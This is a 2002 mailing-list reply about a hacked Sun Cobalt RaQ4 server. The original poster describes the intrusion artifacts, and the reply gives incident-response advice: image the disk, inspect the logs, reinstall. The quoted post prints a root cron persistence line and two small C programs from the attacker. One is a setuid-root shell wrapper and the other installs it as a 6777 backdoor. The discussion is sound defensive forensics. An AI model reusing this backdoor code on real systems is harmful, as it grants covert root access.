RE: [cobalt-users] RaQ4 Hack - apache NOT fixed! be aware

["Jolley, Carl" <Carl.Jolley@xxxxxxx>]

-----Original Message-----
From: Robin Edgar - Tripany 
Sent: Thursday, September 05, 2002 7:28 PM
To: cobalt-users@xxxxxxxxxxxxxxx
Subject: [cobalt-users] RaQ4 Hack - apache NOT fixed! be aware


Well, I tried to do this via Sun but they told me the garuantee was out, so
via this channel...

On a happy day I found that this message was being posted about once every
minute:

--------------

Date: Thu, 5 Sep 2002 15:45:01 +0200
From: root (Cron Daemon)
To: root
Subject: Cron <root@raq-042> if [ -x "/tmp/core/own" ] ; then
"/tmp/core/own";
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>

/bin/sh: -c: line 2: syntax error: unexpected end of file

---------------

Now it's not mine, so I was a bit surprised.
In /etc/cron.d I found the following file (core)

------------
*/1 * * * * root if [ -x "/tmp/core/own" ] ; then "/tmp/core/own";
fi
------------

And in /tmp/core I found this:
-------------
drwxr-xr-x   2 httpd    root         1024 Aug 29 20:21 ./
drwxrwxrwt   5 root     root         1024 Sep  6 00:49 ../
-rw-rw-rw-   1 httpd    root           71 Aug 29 20:21 croncore
lrwxrwxrwx   1 httpd    root           16 Sep  6 00:49 gmon.out ->
/etc/cron.d/core
-rwxrwxrwx   1 httpd    root        11912 Aug 29 20:21 own
-rwxrwxrwx   1 httpd    root        12061 Aug 29 20:21 sushi
-rw-rw-rw-   1 httpd    root          150 Aug 29 20:21 sushi.c
-rw-rw-rw-   1 httpd    root           90 Aug 29 20:21 takeover.c
-------------------
sushi.c
----------------
#include <unistd.h>
int main (int argc, char **argv, char **envp) {
    setuid(0);
    setgid(0);
    execve("/bin/sh",argv,envp);
    return -1;
}
-------------------
and takeover.c
------------------
#include <stdlib.h>
main() { system("cp /tmp/core/sushi /.sushi ; chmod 6777 /.sushi"); }
-------------------
Doing straces on the binaries, I found that the 2 binaries are the compiled
files above

Doing some more digging I found
/tmp/.tmp/
drwxr-xr-x   2 httpd    root         1024 Aug 29 20:06 ./
drwxrwxrwt   5 root     root         1024 Sep  6 00:49 ../
-rwxr-xr-x   1 httpd    root        14277 Aug 29 01:28 backlyn
-rw-r--r--   1 httpd    root         1283 Aug 29 01:27 backlyn.c
-rwxr-xr-x   1 httpd    root        14278 Aug 29 01:28 backwget
-rw-r--r--   1 httpd    root         1283 Aug 29 01:27 backwget.c
-rwxr-xr-x   1 httpd    root        14677 Aug 29 01:31 epcs
-rw-r--r--   1 httpd    root         5073 May 14  2001 epcs2.c
-rw-r--r--   1 httpd    root         2916 Aug 29 20:20 raq4lrex.sh
-rwxr-xr-x   1 httpd    root        28449 Aug 29 01:36 red
-rw-r--r--   1 httpd    root        12891 Jun  5  2001 red.c

Now the sources of these are too long to post, so you can get them from me.
Suffice to say, yes it /does/ launch a shell, and also runs raq4lrex.sh as a
daemon.

I haven't figured out how they managed to get the files to /tmp but I know
this is tailored for the RaQ4 (in the sources of one of the above).

Sun refuses to help (thank you oh so much sun), so maybe you can figure it
out. And before you ask, YES, I had fully patched up the machine.

Looks to me like they broke apache, so the 'fix' doesn't really work.
If you want the sources for further examination, please email me, and I'll
send them to you.
---------------------------
Whoever did this obviously has root access to your RaQ.
There's no simple, easy way to determine what else they
may have changed on the box. The "error" of failing to
consider word wrap on the crontab line is too simple to
believe that it represents a failed attemp to hack your RaQ.
Delete or move the file from the /etc/cron.d directory. It
is doubtful that Sun or anyone else can fix your RaQ.

You've been hacqued. Your best best is probably to
consider your RaQ permanently disabled and to begin
the process of restoring from the OSRCD. Before you
do that you may want to consider captureing the entire
content of you harddrive or the phycical hardrive itself,
for forensic and investigative purposes. If you have the
time and skill you may want to look at the contents of your
/var/log/secure, your lastlog and perhaps your /var/log/crond
and /etc/passwd file to see if you can determine when and how
they first penetrated your RaQ. If you don't, its likely that
they will redo the exploit on any Raq you restore.  I use the
word "penetrated" in all its multiple conotations.